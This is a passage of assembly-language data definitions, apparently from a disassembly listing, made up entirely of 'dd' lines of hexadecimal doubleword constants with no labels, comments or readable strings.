		dd 44A65612h, 41A5656h,	58DDFF12h, 5656021Ah, 0EA03FF1Ah
		dd 0CFDED0FFh, 0FF5A13FFh, 0FF47128Ch, 2F2E5280h, 4050204h
		dd 0FF055602h, 3C0502B2h, 0EADDFF44h, 0A4D9FF02h, 56880512h
		dd 899D9FFh, 21A5631h, 5020405h, 0C1FF443Ch, 5CDDFF81h
		dd 1381DDFFh, 41A5656h,	58DDFF12h, 9D04401Ah, 8F100647h
		dd 8F0204A7h, 3D9DDFFh,	4D68313h, 3102B502h, 61A3DF3h
		dd 13035FFFh, 4100210h,	3103102h, 31120475h, 0FF44315Fh
		dd 0D1FFD9C1h, 0FFEE3CEAh, 204A4DDh, 7031031h, 0DD69FFB9h
		dd 1204F858h, 0EE315F31h, 4458DDFFh, 17D9C1FFh,	0D9DDFF31h
		dd 12041903h, 0D9DDFFA6h, 0E5013503h, 0FC01h, 8D38FF00h
		dd 0C02D752h, 21FF020Ah, 0D4D9FF81h, 3D9DDFFh, 1B055B6Fh
		dd 552DEFFh, 0D039FF02h, 521A2E03h, 8F39FF17h, 0A6190410h
		dd 2040505h, 2500531h, 0FFD4D9FFh, 6E03D9DDh, 72441B00h
		dd 16CF02FFh, 4196001h,	531A612h, 0DDFF443Ch, 6BFF1A3Ah
		dd 0FF479DE2h, 2F2E5280h, 4050204h, 0E3053102h,	1B050204h
		dd 0D8FF7244h, 5AA03D5h, 3AFF9B6Ch, 8F020400h, 8F02041Ah
		dd 8F0204A7h, 3D9DDFFh,	5418D1FFh, 7339FFh, 5A07B600h
		dd 128CFF0Dh, 22100647h, 609060Bh, 1D331FFh, 0D1C6FF60h
		dd 5AC6FF2Eh, 0D031FF06h, 3586001h, 6D53AFFh, 0C1FF1752h
		dd 0E5013552h, 9010FFCFh, 8109FF02h, 7590700h, 85C4FF5Ch
		dd 1703ED60h, 55809FFh,	1B050205h, 18BEFFh, 3E180018h
		dd 0FF400751h, 39FF151Fh, 0E00006Dh, 180018h, 3425C4FFh
		dd 3E38FD07h, 4BD1F6FFh, 28DC4FFh, 0FF1F5151h, 0C4FF2E09h
		dd 0A754C48Dh, 48C5FF17h, 3D239FFh, 5828FF2Ch, 0C5FF024Fh
		dd 0D239FF48h, 28FF2C03h, 1FF5BB8h, 15000026h, 6164102h
		dd 31FF0609h, 0FF6001D3h, 0FF2ED1C6h, 0FF065AC6h, 6001D031h
		dd 3AFF0358h, 175206D5h, 3552C1FFh, 0FFCFE501h,	51019010h
		dd 41020Ah, 0C4FF5C07h,	0D2FF6085h, 10403D3h, 5050251h
		dd 16DA0502h, 5020517h,	0C4FF0502h, 1E093EC9h, 9400709h
		dd 79AAFF09h, 180E00h, 2C18h, 25C4FF00h, 2619FF01h, 1E060000h
		dd 2619FFh, 0FF3E4800h,	48D1F6h, 2C390600h, 0FF130000h
		dd 2611h, 11FF882Eh, 19000026h,	11FF010Fh, 4000026h, 2611FF01h
		dd 550000h, 2C75h, 41013204h, 40400901h, 5500004Fh, 44710700h
		dd 2609FF1Eh, 3F90000h,	2C75h, 9C090A04h, 0FF014101h, 2609h
		dd 0FF010F19h, 2609h, 780135h, 0FF156F00h, 0B73EFDC4h
		dd 95E209h, 0Eh, 18DC4FFh, 603C809h, 2C39h, 2C90882Eh
		dd 0F190000h, 2C9001h, 90010400h, 5500002Ch, 2C7500h, 1320400h
		dd 0FF090141h, 0FF010496h, 2609h, 7500B93Dh, 400002Ch
		dd 2C900Ah, 0A9C0400h, 2631FFh,	19C0F00h, 2C900141h, 0F190000h
		dd 2C9001h, 193AFF00h, 9FF0104h, 3D000026h, 9FF010Fh, 0FF000026h
		dd 3AFFD33Ah, 5411FF56h, 1B01h,	9140000h, 0A403EBFFh, 512FC7FFh
		dd 0C48DC4FFh, 0FF5C0754h, 0B13ED1C4h, 25089A25h, 3B15A07h
		dd 78C88FFh, 0E1C4FF5Ch, 80FF473Eh, 75907BBh, 0DDC4FF5Ch
		dd 0FF54053Eh, 0C1FFD3C1h, 0E5C4FFB9h, 3AFF003Eh, 99C1FF9Ah
		dd 0C4FF5C07h, 1B050299h, 5210670h, 0FF050502h,	0C4FFB9C1h
		dd 0FF003EE5h, 204DD3Ah, 20502BCh, 5A071005h, 1A1F03E3h
		dd 2EC0FF85h, 592EC1FFh, 9755A07h, 23A1004h, 6D0C6FFh
		dd 2C39h, 3E29FF13h, 10130000h,	4DC3AFFh, 10F1001h, 1100110h
		dd 5AC7FF05h, 0FF013204h, 29D1h, 0D33AFF55h, 41E3AFFh
		dd 5011001h, 51E44E4h, 73F858h,	0A6120400h, 29D1FF01h
		dd 1040000h, 5010F05h, 0F5411FFh, 733906h, 0FF882E00h
		dd 3E39h, 0FF010F19h, 3E39h, 39FF0104h,	5500003Eh, 737500h
		dd 1320400h, 0D9FF0205h, 0FF0104A4h, 3E39h, 0E4070055h
		dd 29FF1E44h, 0F900003Eh, 737503h, 0A6120400h, 0FF010501h
		dd 3E29h, 0FF010F19h, 3E29h, 0FF780135h, 37B16803h, 0FF5820FFh
		dd 3E21h, 0DDFF0204h, 6803FFE2h, 20FF37B1h, 10C5BB8h, 3E21FFh
		dd 2C152800h, 0FF6F0000h, 1A1BD029h, 10AD285h, 5A070005h
		dd 16C989FFh, 3AFF6001h, 479D35D3h, 0D8969FFh, 107F0700h
		dd 0D0C4FF5Eh, 5A075913h, 0FF150D55h, 273EC9C4h, 6000073h
		dd 73271Eh, 62070000h, 308634Fh, 2F1D6557h, 0FF014203h
		dd 15033D11h, 0BBD3FF10h, 73h, 3ED5C4FFh, 4F620700h, 655703BDh
		dd 3D612FFh, 7315h, 0FF1D39FFh,	0FF02BB88h, 0FF138121h
		dd 7322B7DDh, 890B0000h, 0B7D1FF08h, 0FF007501h, 0C0295C4h
		dd 0AEEFF07h, 0FF007501h, 903EEDC4h, 62109010h,	0FF35DE4Fh
		dd 90019038h, 5B045610h, 4F62070Ch, 570319B2h, 32F2A65h
		dd 73150Dh, 9060B00h, 0F000073h, 7B010901h, 20F0000h, 76000010h
		dd 0FFF5D1FFh, 0A11DD21h, 5AD0FF09h, 0F5D1FF09h, 19DDDEFFh
		dd 0FF090A04h, 19095AD0h, 4C0D8FFh, 0C120901h, 12040901h
		dd 39B723FFh, 19FF8810h, 19FF013Dh, 3D19FF3Dh, 0A8FFh
		dd 35CDEFFh, 73440104h,	10F0000h, 600007Bh, 7B1Eh, 10A5D0FFh
		dd 3EBFF32h, 7B1E06h, 0DED2FF00h, 0BA58D232h, 15291A07h
		dd 0D0E03h, 59131007h, 0F81F1007h, 0E031503h, 4	dup(0E03150Dh)
		dd 1007000Dh, 8019FF1Fh, 72313h, 150D0000h, 4 dup(150D0E03h)
		dd 0D0E03h, 0FF1F1007h,	23138019h, 0BEFFh, 0E031503h, 1007000Dh
		dd 10075913h, 0EE3AF81Fh, 6F1F7BFFh, 0FF3B150Eh, 0FF6DDE88h
		dd 39FF8111h, 0DE88FFB8h, 8111FF6Dh, 7250876h, 19FF1F10h
		dd 7E231380h, 3EBFF15h,	0FF2B150Eh, 0E6F1F7Bh, 7BDCFF15h
		dd 1F106F1Fh, 138019FFh, 5853FF23h, 780AFF46h, 1068101Fh
		dd 15B9F6FFh, 0D0E03h, 0FF131007h, 58E338DDh, 1106813h
		dd 15291663h, 0D0E03h, 59131007h, 0F81F1007h, 0E031503h
		dd 4 dup(0E03150Dh), 1007000Dh,	8019FF1Fh, 72313h, 150D0000h
		dd 4 dup(150D0E03h), 0D0E03h, 0FF1F1007h, 23138019h, 3D139FFh
		dd 0E03150Dh, 1007000Dh, 10075913h, 353AF81Fh, 38150E03h
		dd 0E6F1F7Bh, 1F7B7015h, 0FF1F106Fh, 23138019h,	6FF157Eh
		dd 6F1F76FFh, 0FFA2150Eh, 0FF6DDE88h, 39FF8111h, 150E037Bh
		dd 10072508h, 8019FF1Fh, 0F3FF2313h, 0E03150Dh,	1007000Dh
		dd 10075913h, 600001Fh,	6B881039h, 106B0110h, 9F106Bh
		dd 0BB7500h, 0D1FF7600h, 5A31FF01h, 27000010h, 0FF3AD0FFh
		dd 9F5A1Ah, 11FF0600h, 91726CDh, 0D3FF080Fh, 76FF1939h
		dd 917087Dh, 0FF1A080Fh, 11FF33BFh, 0D411FFF5h,	9170330h
		dd 0BBD9FF08h, 0C4FF2508h, 7D39FF95h, 0E0000h, 56080F00h
		dd 600009Fh, 26C511FFh,	0F039FF00h, 2E32FFh, 0D100000Eh
		dd 0DEDBFF08h, 0FF9466FFh, 0DEFF5423h, 771BFF39h, 80F0917h
		dd 0FFB9C7FFh, 0A661F77h, 8E080F09h, 600009Fh, 26D911FFh
		dd 80F0917h, 0FF6F152Ah, 28CD11h, 732714h, 0C4FF0000h
		dd 69FF0181h, 2307003Dh, 0A04F14h, 732714h, 7F39FF00h
		dd 85570000h, 0B9h, 4F17089Ah, 0D43AFF3Bh, 5338FFh, 27140000h
		dd 0FF000073h, 1400AE39h, 0C4B97C4Fh, 2106D8EFh, 0DDFF1B9Bh
		dd 6709852h, 11072321h,	3D0D2FFh, 0B39FF0Dh, 1FD0DDFFh
		dd 3BFF0521h, 70003D1h,	39FF0531h, 250E030Ch, 7D055607h
		dd 0BBDDFF13h, 7D050204h, 0F6075913h, 16DD08FFh, 305AAh
		dd 39FF2A07h, 0D0DDFF16h, 60FF441Fh, 23072558h,	0D0DDFF14h
		dd 5814441Fh, 82030517h, 0DFFF2103h, 0F03055Ah,	3A29FF02h
		dd 0FF02422Fh, 502B129h, 5860FF27h, 6C030517h, 55ADFFFh
		dd 0C020F03h, 502040Ch,	5860FF27h, 0FF0D1529h, 4099339h
		dd 0DCB0710h, 3A39FF15h, 13D0DAFFh, 17D9FF56h, 0FF16A130h
		dd 3AFFD0D1h, 7000DC2h,	685A0759h, 13D0DAFFh, 0D8CDDFFh
		dd 1F5439FFh, 85C4FF25h, 40070502h, 7000DFCh, 86EC0805h
		dd 5072508h, 886EC08h, 8050725h, 250886ECh, 0EC080507h
		dd 0A3068686h, 0CEFF1B18h, 1BA306C8h, 3BA30686h, 118C2F1Bh
		dd 10444786h, 3A8687FFh, 6DEDC7FFh, 0DDF8611h, 64DF39FFh
		dd 80655703h, 130C1358h, 6F39FF20h, 7104E16h, 0D300FF11h
		dd 20020403h, 1007205Bh, 1021061Fh, 0A0378FFh, 7000502h
		dd 0FF5D0810h, 10072EDFh, 4005171Fh, 5029F40h, 29FF5F02h
		dd 0D9FF13B8h, 0C211F81h, 171F1007h, 120C310Ch,	2F2E520Ch
		dd 21FF0204h, 21FF0291h, 29FF02EAh, 1503A2h, 9061618h
		dd 0FF0C17B3h, 7042184h, 0D0C5FF10h, 0FF02040Dh, 0C17B821h
		dd 0DDD0FF3Ch, 1F100E0Bh, 0FF0204D6h, 0FF029121h, 0C102EA21h
		dd 17162706h, 17B821FFh, 315500Ch, 45C4FF00h, 1FF5B08h
		dd 600002Fh, 2F01FF1Eh,	0FF4B0000h, 5206D131h, 1D6F22h
		dd 0C4FF0000h, 78A1h, 2E08E000h, 1D150Ah, 1FF2600h, 2Fh
		dd 2A9C4FFh, 17B821FFh,	0FF09CF0Ch, 21AD085h, 17B821FFh
		dd 19FFCF0Ch, 0F00002Fh, 0FFD085FFh, 86A71D9h, 571951C6h
		dd 1D5C11FFh, 22FF0000h, 0A0DC87Ah, 14005101h, 1FF1409h
		dd 2Fh,	2A5C4FFh, 7A03DA41h, 6051012Dh,	51010A03h, 21FF0204h
		dd 3C0C17B8h, 0BDDD0FFh, 1D0906h, 0FF4E0B00h, 42F3A39h
		dd 9939FF02h, 0D139FF21h, 0FF21D31Bh, 40FCD039h, 204FCFFh
		dd 2DDE39FFh, 1D1132h, 29FF0600h, 0B821FF8Dh, 84FF0C17h
		dd 0FF7E0F39h, 2E16C1D0h, 14002D40h, 2F01FFh, 8E00000h
		dd 52BAh, 0FC39FF0Dh, 860C02B9h, 0FF855703h, 0FF733AD9h
		dd 3AFF3C3Ah, 8E38FF3Ah, 2FF1004h, 88FF16D6h, 0D108Ch
		dd 1D7F07h, 9060B00h, 167939FFh, 0DC3988FFh, 2F85FF05h
		dd 1E060000h, 2F85FFh, 0AC327A00h, 0FF010403h, 2F85h, 3F014C00h
		dd 4C000000h, 1D220823h, 60B0000h, 1D09h, 81FF882Eh, 81FF012Fh
		dd 2F85FF2Fh, 0A040000h, 0FF2F81FFh, 0D035CDEh,	17089A00h
		dd 0FF2F81FFh, 403D0C5h, 2F85FF0Ah, 0A8040000h,	0D0FF3C1Ah
		dd 17B36EDDh, 2F85FFh, 1AA80400h, 0D9D0FF1Bh, 81FF0104h
		dd 0D0C5FF2Fh, 0FF0A0403h, 2F85h, 1B1AA804h, 4D5D0FFh
		dd 2F81FF01h, 3D0C5FFh,	85FF0A04h, 400002Fh, 0D501AA8h
		dd 8D010Ah, 9060B00h, 600001Dh,	0D43AFF3Bh, 149838FFh
		dd 2F85FFh, 7139FF00h, 3F14B616h, 39FF0000h, 0C457037Ah
		dd 3A16D8EFh, 4E16A8FFh, 0FF400705h, 0DFFCEh, 0FF053107h
		dd 0DDFFB439h, 0FF0D15B9h, 6037139h, 21100409h,	6701B9Bh
		dd 0D1C5FF21h, 16C91107h, 1B720725h, 344E1670h,	39C1FF07h
		dd 0C4E03FBh, 16D78DFFh, 0FF16054Eh, 1630A7D1h,	1F110517h
		dd 0BB29FF07h, 845C4FFh, 5239FF5Bh, 7D139FFh, 72EDFFFh
		dd 10131F20h, 0FF072026h, 0C4FF2E39h, 0FF5B0849h, 0DAAC5221h
		dd 2101303h, 0F1CEFF20h, 0D131FF13h, 0FF0204D6h, 0FF029131h
		dd 1002EA31h, 0FF132D20h, 0D2FFA5DBh, 0DC29FF94h, 204B41Bh
		dd 0FF132D20h, 231BCECEh, 132D2002h, 2DA5C7FFh,	0AEC1FF13h
		dd 1731FF02h, 0FFFFD1FFh, 2007713Ah, 0BEFFDFh, 0E01F2007h
		dd 18D1FF08h, 79B2154h,	700A340h, 1F113C72h, 1839C4FFh
		dd 5070005h, 45C4FF00h,	29FF5B08h, 0C4FF00BBh, 7250871h
		dd 0FF08E034h, 55418D1h, 21060502h, 15ABFF05h, 5120E03h
		dd 0D9FF0204h, 5206A751h, 2042F2Eh, 5210605h, 315ABFFh
		dd 405120Eh, 51DDFF02h,	2051370h, 5210605h, 315ABFFh, 405120Eh
		dd 51C1FF02h, 5418D1FFh, 79B131Ah, 0D33AFF11h, 0C7020403h
		dd 0FF1A192Dh, 46588D29h, 72072508h, 0D0D9FFB4h, 54DDFF13h
		dd 116DDFFh, 2C39FFh
		dd 4DEF703h, 72072508h,	16D9D9FFh, 0DDFF0906h, 39FF0116h
		dd 0F716002Ch, 250815A8h, 2FEB7207h, 0FF090616h, 0FF0116DDh
		dd 58002C39h, 0BBF6FFF7h, 72072508h, 0DDFF0909h, 39FF0116h
		dd 0F7B1002Ch, 17581211h, 1152DDFFh, 72075902h,	16D28AFFh
		dd 0FF00F04Eh, 104DC3Ah, 0F3D00F0h, 600F001h, 4B00F01Eh
		dd 0F001BC17h, 0FF065300h, 0F08D29h, 0DDFF1204h, 81D0FF5Ch
		dd 0A3D1FF1Fh, 0F0010403h, 0FF120400h, 0D0FF5CDDh, 0B000081h
		dd 0F01E440Eh, 3E03F900h, 0F0140003h, 0FF070000h, 495CDDh
		dd 1C09060Bh, 0CA743000h, 6F220000h, 2600h, 18D9C4FFh
		dd 2A0111Bh, 7009883h, 0FF53FF92h, 1FD0D3h, 0FF020A00h
		dd 8129h, 105020Ah, 0C07000Ch, 0FF015D08h, 1316C8CEh, 14052105h
		dd 25086C10h, 0FCFF5A07h, 52DDFFA0h, 4C100105h,	255A8DFFh
		dd 0DEFF5A07h, 52DDFFBDh, 0FF290305h, 0D0FF2E39h, 1FD0h
		dd 31FF0104h, 3000002Ah, 13F1CEFFh, 0DC3AFF20h,	0F200104h
		dd 20012001h, 0A229FF02h, 0BB001Ch, 45C300h, 9060B00h
		dd 39FF0049h, 88FF1648h, 0ECD2FF52h, 0D1FF1630h, 0D0049A3h
		dd 0FF5A0700h, 0FF56DEABh, 2A31h, 0F1CEFF30h, 26004922h
		dd 5C39FF00h, 1Fh, 2A31FF14h, 0D0000h, 0DEB25A07h, 31FF1459h
		dd 0FF00002Ah, 14009039h, 0B616D310h, 0FF080C07h, 585418D1h
		dd 0C010A29h, 81C4FF00h, 0FF0C0120h, 0D0FFF039h, 22081FD0h
		dd 0B00001Dh, 0B00000Eh, 1D97h,	3D39FF28h, 26001C97h, 0C010A29h
		dd 4E3539FFh, 6000099h,	991Eh, 1D48h, 5C31FF15h, 166239FFh
		dd 1D0906h, 7A39FF00h, 1C9716h,	1888FF0Bh, 0A295854h, 0FF000C01h
		dd 12081C4h, 8C39FF0Ch,	5010A0Dh, 0FFC539FFh, 1D1FD0D1h
		dd 970B0000h, 2800001Dh, 0FFF939FFh, 81FD0D1h, 0B001C22h
		dd 600000Eh, 991Eh, 1D48h, 0FFDA39FFh, 0FF1FD0D1h, 54C4E2D3h
		dd 10A2916h, 0C4FF0020h, 5C39FF91h, 0FF20010Ah,	3001239h
		dd 0FF46030Eh, 10AB9D0h, 0C4FF0020h, 31FF0195h,	600002Fh
		dd 2F31FF1Eh, 1B000000h, 0FF020A3Eh, 14008129h,	2F31FFh
		dd 0C4FF0000h, 31FF1499h, 2Fh, 34608E0h, 0B9D3FF15h, 0FF5C0700h
		dd 0FF0195C4h, 2F31h, 31FF1E06h, 2Fh, 20A381Bh,	0A8121FFh
		dd 8139FF02h, 0FF000000h, 0FF149DC4h, 2F31h, 0FF08E000h
		dd 165418D1h, 0F2156F46h, 0C4FF000Dh, 1BA718C5h, 0AB98FFFh
		dd 9901h, 10A2926h, 0B000099h, 99010Eh,	0E0B00h, 0D1FF2600h
		dd 1D91h, 2E08056Fh, 7590759h, 7250805h, 0D1FF0805h, 2045418h
		dd 5A0734A6h, 0C4E0350h, 50204D6h, 0E3050204h, 24A0204h
		dd 8D29FF05h, 0D0FF3C05h, 0FF020FD0h, 54513A29h, 10A2916h
		dd 6F000099h, 41C4FF00h, 1D2208h, 54E0B00h, 22F1CEFFh
		dd 2600001Dh, 5418D1FFh, 4787FF15h, 4652061Fh, 0E03EE3Ch
		dd 39DCFF3Ch, 4200204h,	0C7FF2002h, 0B113CB9h, 5A07000Eh
		dd 1F2C86FFh, 3D5D1FFh,	0F9E39FFh, 0FF004102h, 46087DC4h
		dd 3BBD3FFh, 91D1FFh, 295C4FFh,	0FF5209FFh, 1A072E09h
		dd 2B0FF85h, 78139FFh, 0E9075Ch, 13084107h, 4652062Ah
		dd 7000526h, 0B9C4FF41h, 2E09FF07h, 224608E0h, 0A001FF45h
		dd 541889FFh, 0C83AB1h,	10A0D00h, 0FF181541h, 130841C4h
		dd 2E001C10h, 2C31FF88h, 10F1900h, 2C31FFh, 31FF0104h
		dd 6CC002Ch, 4270164h, 16DA0308h, 0A0D1017h, 0FF002001h
		dd 12081C4h, 8E39FF20h,	2C31FFAAh, 5000CC00h, 3A080427h
		dd 0FF010451h, 0CC002C31h, 4275000h, 1C2208h, 0E0Bh, 275000CCh
		dd 0FF3A0804h, 1F4785h,	39FF2800h, 0D0D1FFD6h, 344011Fh
		dd 2C31FF17h, 5000CC00h, 3A080427h, 0FF010418h,	0CC002C31h
		dd 49C5000h, 8AFF3A08h,	1F47h, 275000CCh, 0FF170804h, 0CC002C31h
		dd 49C5000h, 4608h, 1C0906h, 275000CCh,	0FF3A0804h, 0FFAA4401h
		dd 0CC002C31h, 49C5000h, 6AFF3A08h, 9FFFA403h, 1D42BA16h
		dd 7000000h, 0E03DB10h,	10A031Ah, 2F39FFh, 0A292600h, 2F39FF01h
		dd 0E0B0000h, 502E31FFh, 3A080427h, 100204A2h, 8042701h
		dd 1D22h, 31FF0E0Bh, 427502Eh, 0EEFF3A08h, 1D9703CFh, 46260000h
		dd 2800001Dh, 0B1C4FF00h, 152978h, 3090600h, 1D15h, 1D4626h
		dd 1D222600h, 970B0000h, 0FF05DF05h, 7239h, 1BB88FFh, 9A005A1h
		dd 39D10305h, 21FF0205h, 6F000081h, 1D46h, 85C4FF6Fh, 2BFF6D3Ah
		dd 18D1FFD1h, 0FF3A5854h, 2A20h, 0C010A0Dh, 0C4FF1815h
		dd 99130841h, 882E0000h, 19000099h, 99010Fh, 99010400h
		dd 6CC0000h, 4270164h, 16DA0308h, 5010A29h, 81C4FF00h
		dd 0FF050120h, 0E036139h, 0CC0000h, 8042750h, 37E7C3Ah
		dd 99AAh, 275000CCh, 1D220804h,	0E0B0000h, 0CC0000h, 8042750h
		dd 9703393Ah, 0FF28001Ch, 1A58939h, 99170314h, 0CC0000h
		dd 8042750h, 4210FF3Ah,	0CC00001Fh, 49C5000h, 39F3A08h
		dd 99AAh, 275000CCh, 99170804h,	0CC0000h, 8049C50h, 6000046h
		dd 1D09h, 275000CCh, 0C93A0804h, 99AA03DBh, 0CC0000h, 8049C50h
		dd 42DDFF3Ah, 0B00001Fh, 0FFA50089h, 0D0DCECEh,	6CD339FFh
		dd 0FF003E1Fh, 81FF8DC4h, 150D0D38h, 9060000h, 890B001Ch
		dd 0CEFFA500h, 0FF0D0DCEh, 0E036139h, 47184608h, 0FF2169FFh
		dd 298357h, 1D7F07h, 9060B00h, 2C2239FFh, 166AA03h, 15002471h
		dd 4C010A03h, 260000h, 99C4FF00h, 1B83AD02h, 34210670h
		dd 0FF352F07h, 0C3036238h, 600004Ch, 7D529FFh, 0E0FFC32Ah
		dd 0FF060000h, 0FF07D029h, 0FF0116DDh, 38C5h, 6D60316h
		dd 1700D539h, 38C5FFh, 5020F00h, 100001Dh, 1DB20160h, 0FF280000h
		dd 1383D739h, 1A54DDFFh, 22D7A52h, 4D6034FFh, 0FF002600h
		dd 1FF3939h, 1B0E002Eh,	116DDFFh, 38C1FFh, 8A2E08C5h, 38C1FF01h
		dd 0FF141000h, 0C30038C1h, 2800004Ch, 0FF010A0Dh, 0B002F83h
		dd 0A4B0906h, 4C01h, 2409060Bh,	0BB8AFF00h, 260024h, 6AE439FFh
		dd 9060000h, 39FF0024h,	57000024h, 378FF65h, 26002415h
		dd 0C4FF0000h, 11FF3EE9h, 0DDFF1381h, 2415B9h, 0FF000026h
		dd 0FF3ECDC4h, 0C1FF0DD8h, 15002458h, 4C01h, 2409060Bh
		dd 4B00h, 24BB8AFFh, 0FF002600h, 4F39h,	240906h, 358F39FFh
		dd 16C338FFh, 117D1FFh,	0E0FFh,	24BB8BFFh, 0FF002600h
		dd 1459BC39h, 0FF002471h, 1EFFCA39h, 0FFA50000h, 0A03BB89h
		dd 0F1CEFF01h, 2600D5h,	99C4FF00h, 2301h, 231E06h, 0D54800h
		dd 0DB110700h, 23142503h, 10A0000h, 0D5F1CEFFh,	0FF002600h
		dd 0CEFFDA39h, 600000Fh, 3E4009h, 6239FF00h, 0FFA50000h
		dd 0A03BB84h, 0F1CEFF01h, 2600D5h, 99C4FF00h, 0D52A01h
		dd 0D52A1E06h, 0D54800h, 0FF400700h, 1400FFCEh,	0A00D52Ah
		dd 0F1CEFF01h, 2600D5h,	7739FFh, 40090600h, 18BBDCFFh
		dd 0
		dd 247114h, 8239FFh, 0F1CEFF14h, 39FF0024h, 18FF3596h
		dd 44471A13h, 7000D10h,	1D7Fh, 0FF09060Bh, 0FF0C0639h
		dd 1D5CD0h, 0E0B00h, 641E0600h,	4B00001Dh, 39FF0000h, 0F1CEFF12h
		dd 0FF655703h, 10A03E0h, 1D3Ch,	0FF4C006Eh, 1D225F29h
		dd 60B0000h, 14000309h,	1D64h, 0FFC539FFh, 0E002E03h, 1040000h
		dd 1D19h, 1E063B06h, 0FF110766h, 603D113h, 4007661Eh, 0FFB912FFh
		dd 10CE539h, 6000050h, 501Eh, 0FF00004Bh, 5539h, 104D0F4h
		dd 4000050h, 1D7F660Ah,	66E0000h, 0BD511FFh, 6E00000Eh
		dd 0DB11FF06h, 1D220E0Bh, 66E0000h, 0BCB11FFh, 1D0906h
		dd 39FF0D00h, 78010Ch, 4E39FF00h, 6614B603h, 0A29FFh, 59A400h
		dd 64140000h, 0FF00001Dh, 14512039h, 1D19h, 1F5C39FFh
		dd 1006471Ah, 8129FF4Bh, 2639FF29h, 30E0304h, 20F0906h
		dd 0FFB9DDFFh, 22FFFC39h, 0C211FD1h, 5607A8FFh,	0D739FF0Ch
		dd 1FD122FFh, 0FF020F48h, 422F3A21h, 86AAC02h, 0C020446h
		dd 0FF1316A9h, 700B9DDh, 39FF0C31h, 0D123FF0Eh,	0FF075913h
		dd 204B9DDh, 4302D93h, 36333716h, 0D839FF0Dh, 90603E3h
		dd 39FF1004h, 54E0345h,	6714007h, 4380521h, 2040502h, 0FF05024Ah
		dd 0FF07F129h, 24A5ADAh, 51404005h, 52068310h, 2042F2Eh
		dd 4A020405h, 0FF600502h, 122D94D2h, 0FFEADDFFh, 20FA410h
		dd 0FF3A29FFh, 29FF5A03h, 21065418h, 31FF4B2Ah,	56136FD3h
		dd 3110FF2Ah, 0F681D3FFh, 1323C0FFh, 65E2DDFFh,	3D120FFh
		dd 75C0700h, 45974F72h,	6036AFFh, 0D0FF0F09h, 0DDFF8E5Ah
		dd 0FF024258h, 2E03D029h, 0B502042Fh, 2A02F302h, 35CDEFFh
		dd 0FF5F0204h, 20552C1h, 3460805h, 0FF040906h, 1A0FC184h
		dd 0FF5F0204h, 44852C1h, 22BC212h, 19FFBC31h, 40C0C58h
		dd 0B20C8E12h, 2B2A0204h, 31FF9602h, 0B1A6FD3h,	22B0906h
		dd 0D331FF96h, 60B1A6Fh, 3AFF3D09h, 9838FFD9h, 479D2A02h
		dd 218782FFh, 54C1FF31h, 0D028FF06h, 5BC1FF1Bh,	660322Fh
		dd 7D028FFh, 2F1721FFh,	478ED1FFh, 2E5280FFh, 502042Fh
		dd 24A0204h, 0D2FF6005h, 0E129FF94h, 0D2FFC269h, 0E829FF94h
		dd 0FF40AEFFh, 3AFFBE1Fh, 0D0FF6BD3h, 7005418h,	0AC39C1FFh
		dd 0C13521Fh, 2040C02h,	2FADDFFh, 2B3FF05h, 120C024Ah
		dd 0FFDEC1FFh, 10FFEAD8h, 94D2FFA5h, 0DEC1FF12h, 0FF52D8FFh
		dd 255F1CEh, 120C024Ah,	0FFDEC1FFh, 0CEFF52D8h,	50755F1h
		dd 0C024A02h, 31090603h, 350C024Ah, 80FF479Dh, 2042F80h
		dd 4A020405h, 2780502h,	5024A05h, 1BDC29FFh, 4A5ADFFFh
		dd 29FF0502h, 61207DBh,	42F2E52h, 502B502h, 1A2D9312h
		dd 0DC29FF06h, 204DF1Bh, 2D931205h, 29FF061Ah, 0DEFF07DBh
		dd 0FF12055Ah, 0FF1651D9h, 204DA3Ah, 2F05024Ah,	77683AFFh
		dd 9D000000h, 93020447h, 0D9FF172Dh, 1536090h, 132D9378h
		dd 7F1CEFFh, 51D9FF31h,	1FFF402Eh, 47128CFFh, 20F1006h
		dd 2E52060Ch, 502042Fh,	24A0204h, 0F129FF05h, 52C0FF07h
		dd 0FF0C0248h, 5206D53Ah, 5F024A17h, 405124Ah, 4A02B502h
		dd 1B780502h, 1B8321D3h, 15FECEFFh, 204631Bh, 29FF024Ah
		dd 29FF1751h, 24A0299h,	0FF132DC1h, 7007F1CEh, 7832106h
		dd 0FF4040h, 5418113Ah,	6050205h, 0BC020521h, 29FF0502h
		dd 0C4FF07FFh, 5024A5Ah, 0FF3C0502h, 3AFFD0D0h,	0BC0204E3h
		dd 2780502h, 2BC0205h, 5024A05h, 3AFF0512h, 0FF54C471h
		dd 700FFCEh, 49CF5Ah, 6505210Eh, 40376FFh, 0FF302A02h
		dd 0FF17F1CEh, 0FF1751C5h, 20451C1h, 1751DDFFh,	1B832105h
		dd 0FF21B3FFh, 0B21BD029h, 29FF2106h, 0F3FF1BD3h, 1BE82106h
		dd 7BCFF40h, 0FFCEFF72h, 0E000000h, 1A07A721h, 2E84FF85h
		dd 0FF075C07h, 39C1h, 0A7210E00h, 55851A07h, 2BFFF607h
		dd 0E00002Fh, 1A07A721h, 700C985h, 0FF2A075Ch, 1D3139h
		dd 0A7210E00h, 2F851A07h, 479D3515h, 535A80FFh,	0A329FF06h
		dd 0FF192DC7h, 153854D0h, 0E03150Dh, 0FF090603h, 17032038h
		dd 75132DC7h, 0B3132DC7h, 0C7020403h, 0D0FF192Dh, 57FF0154h
		dd 2D931703h, 2A21FE5Dh, 0C039FF48h, 2271FBDh, 0DEC5FF05h
		dd 305026Dh, 19050906h,	35938FFh, 2D930204h, 2EDEFF5Dh
		dd 0F6075C07h, 4E4F43Eh, 132DC702h, 85EFFB3h, 0FFF60725h
		dd 3AFF3D87h, 0FF0700DCh, 0FFF62EC1h, 0FF351096h, 5D2D933Ah
		dd 72EDEFFh, 71F60759h,	0F73AFF10h, 2D930204h, 2EDEFF5Dh
		dd 0F6075C07h, 0FF071F62h, 1AF62EC1h, 0A540E03h, 8121FF02h
		dd 2890020Ah, 1C3639FFh, 2F090600h, 2203D535h, 39FF2828h
		dd 6001C10h, 0FF352F09h, 22030838h, 3A082828h, 6001CB8h
		dd 0FF352F09h, 53036038h, 38FF3510h, 2420373h, 3D039FFh
		dd 39FF0725h, 28285Ch, 90600h, 5C39FF07h, 2828h, 7000906h
		dd 285C39FFh, 6000028h,	0FF070009h, 28285C39h, 9060000h
		dd 19FF020Ah, 0FF020A81h, 0D8109h, 39C1FF07h, 13D13BFFh
		dd 647152Ah, 0FF282810h, 6B39h,	352F0906h, 37538FFh, 2810020Ah
		dd 9060045h, 0AEFF851Ah, 5439FF53h, 285CDEFFh, 78010E03h
		dd 320020Ah, 0A78010Eh,	8131FF02h, 20A051Fh, 0A0E0B10h
